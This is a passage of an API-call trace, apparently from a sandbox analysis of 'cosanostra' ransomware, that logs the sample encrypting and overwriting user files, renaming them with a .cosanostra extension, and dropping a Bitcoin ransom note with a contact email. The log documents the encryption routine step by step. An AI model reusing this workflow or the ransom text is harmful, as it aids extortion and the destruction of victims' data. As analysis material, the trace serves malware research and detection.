dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.497] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.497] WriteFile (in: hFile=0x16c, lpBuffer=0x251f90f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fad0, lpOverlapped=0x0 | out: lpBuffer=0x251f90f*, lpNumberOfBytesWritten=0x251fad0*=0x1bf, lpOverlapped=0x0) returned 1 [0082.497] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.497] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fad0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fad0*=0x2ac, lpOverlapped=0x0) returned 1 [0082.497] CloseHandle (hObject=0x16c) returned 1 [0082.498] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa70 | out: pbBuffer=0x251fa70) returned 1 [0082.498] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251fa68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251fa68*=0x30) returned 1 [0082.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.498] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc") returned 78 [0082.498] StrStrW (lpFirst="wsRGB.icc", lpSrch=".txt") returned 0x0 [0082.498] ReadFile (in: hFile=0x16c, lpBuffer=0x2f2ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa2c, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesRead=0x251fa2c*=0xa74, lpOverlapped=0x0) returned 1 [0082.513] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xfffff58c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.513] WriteFile (in: hFile=0x16c, lpBuffer=0x2f2ea0*, nNumberOfBytesToWrite=0xa74, lpNumberOfBytesWritten=0x251fa2c, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesWritten=0x251fa2c*=0xa74, lpOverlapped=0x0) returned 1 [0082.513] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.513] WriteFile (in: hFile=0x16c, lpBuffer=0x251fa6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa2c, lpOverlapped=0x0 | out: lpBuffer=0x251fa6c*, lpNumberOfBytesWritten=0x251fa2c*=0x4, lpOverlapped=0x0) returned 1 [0082.514] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa2c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251fa2c*=0x30, lpOverlapped=0x0) returned 1 [0082.514] CloseHandle (hObject=0x16c) returned 1 [0082.514] wnsprintfW (in: pszDest=0x2fc0048, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.cosanostra") returned 89 [0082.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc.cosanostra")) returned 1 [0082.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa68 | out: pbBuffer=0x251fa68) returned 1 [0082.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251fa60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251fa60*=0x30) returned 1 [0082.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.515] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc") returned 79 [0082.515] StrStrW (lpFirst="wscRGB.icc", lpSrch=".txt") returned 0x0 [0082.515] ReadFile (in: hFile=0x16c, lpBuffer=0x2f2ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa24, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesRead=0x251fa24*=0x2800, lpOverlapped=0x0) returned 1 [0082.588] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.588] WriteFile (in: hFile=0x16c, lpBuffer=0x2f2ea0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa24, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesWritten=0x251fa24*=0x2800, lpOverlapped=0x0) returned 1 [0082.589] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.589] WriteFile (in: hFile=0x16c, lpBuffer=0x251fa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa24, lpOverlapped=0x0 | out: lpBuffer=0x251fa64*, lpNumberOfBytesWritten=0x251fa24*=0x4, lpOverlapped=0x0) returned 1 [0082.763] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa24, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251fa24*=0x30, lpOverlapped=0x0) returned 1 [0082.763] CloseHandle (hObject=0x16c) returned 1 [0082.763] wnsprintfW (in: pszDest=0x2fc0048, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.cosanostra") returned 90 [0082.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.cosanostra")) returned 1 [0082.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.765] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.765] WriteFile (in: hFile=0x16c, lpBuffer=0x251f903*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x251f903*, lpNumberOfBytesWritten=0x251fac4*=0x1bf, lpOverlapped=0x0) returned 1 [0082.766] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.766] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fac4*=0x2ac, lpOverlapped=0x0) returned 1 [0082.766] CloseHandle (hObject=0x16c) returned 1 [0082.766] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.767] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0082.767] WriteFile (in: hFile=0x16c, lpBuffer=0x251f8ff*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fac0, lpOverlapped=0x0 | out: lpBuffer=0x251f8ff*, lpNumberOfBytesWritten=0x251fac0*=0x1bf, lpOverlapped=0x0) returned 1 [0082.768] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0082.768] WriteFile (in: hFile=0x16c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fac0, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fac0*=0x2ac, lpOverlapped=0x0) returned 1 [0082.768] CloseHandle (hObject=0x16c) returned 1 [0082.768] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa60 | out: pbBuffer=0x251fa60) returned 1 [0082.768] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251fa58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251fa58*=0x30) returned 1 [0082.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16c [0082.769] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 80 [0082.769] StrStrW (lpFirst="UserCache.bin", lpSrch=".txt") returned 0x0 [0082.769] ReadFile (in: hFile=0x16c, lpBuffer=0x2f2ea0, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesRead=0x251fa1c*=0x2800, lpOverlapped=0x0) returned 1 [0082.880] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.880] WriteFile (in: hFile=0x16c, lpBuffer=0x2f2ea0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f2ea0*, lpNumberOfBytesWritten=0x251fa1c*=0x2800, lpOverlapped=0x0) returned 1 [0082.881] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.881] WriteFile (in: hFile=0x16c, lpBuffer=0x251fa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa1c, lpOverlapped=0x0 | out: lpBuffer=0x251fa5c*, lpNumberOfBytesWritten=0x251fa1c*=0x4, lpOverlapped=0x0) returned 1 [0083.898] WriteFile (in: hFile=0x16c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251fa1c*=0x30, lpOverlapped=0x0) returned 1 [0083.898] CloseHandle (hObject=0x16c) returned 1 [0083.898] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.cosanostra") returned 91 [0083.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.cosanostra")) returned 1 [0083.899] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.449] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.449] WriteFile (in: hFile=0x184, lpBuffer=0x251f8f7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fab8, lpOverlapped=0x0 | out: lpBuffer=0x251f8f7*, lpNumberOfBytesWritten=0x251fab8*=0x1bf, lpOverlapped=0x0) returned 1 [0084.449] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.449] WriteFile (in: hFile=0x184, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fab8, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fab8*=0x2ac, lpOverlapped=0x0) returned 1 [0084.450] CloseHandle (hObject=0x184) returned 1 [0084.450] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa58 | out: pbBuffer=0x251fa58) returned 1 [0084.450] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa50*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa50*=0x30) returned 1 [0084.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.450] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 92 [0084.450] StrStrW (lpFirst="data_2", lpSrch=".txt") returned 0x0 [0084.450] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa14, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251fa14*=0x2000, lpOverlapped=0x0) returned 1 [0084.470] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffe000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.470] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x251fa14, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251fa14*=0x2000, lpOverlapped=0x0) returned 1 [0084.470] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.470] WriteFile (in: hFile=0x184, lpBuffer=0x251fa54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa14, lpOverlapped=0x0 | out: lpBuffer=0x251fa54*, lpNumberOfBytesWritten=0x251fa14*=0x4, lpOverlapped=0x0) returned 1 [0084.471] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa14, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251fa14*=0x30, lpOverlapped=0x0) returned 1 [0084.471] CloseHandle (hObject=0x184) returned 1 [0084.472] wnsprintfW (in: pszDest=0x30159a8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.cosanostra") returned 103 [0084.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.cosanostra")) returned 1 [0084.473] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fa50 | out: pbBuffer=0x251fa50) returned 1 [0084.473] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251fa48*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251fa48*=0x30) returned 1 [0084.473] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0084.474] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 143 [0084.474] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0084.474] ReadFile (in: hFile=0x184, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x251fa0c*=0x2d5, lpOverlapped=0x0) returned 1 [0084.513] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffd2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.513] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2d5, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251fa0c*=0x2d5, lpOverlapped=0x0) returned 1 [0084.514] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.514] WriteFile (in: hFile=0x184, lpBuffer=0x251fa4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x251fa4c*, lpNumberOfBytesWritten=0x251fa0c*=0x4, lpOverlapped=0x0) returned 1 [0084.514] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fa0c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251fa0c*=0x30, lpOverlapped=0x0) returned 1 [0084.514] CloseHandle (hObject=0x184) returned 1 [0084.514] wnsprintfW (in: pszDest=0x30159a8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json.cosanostra") returned 154 [0084.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), 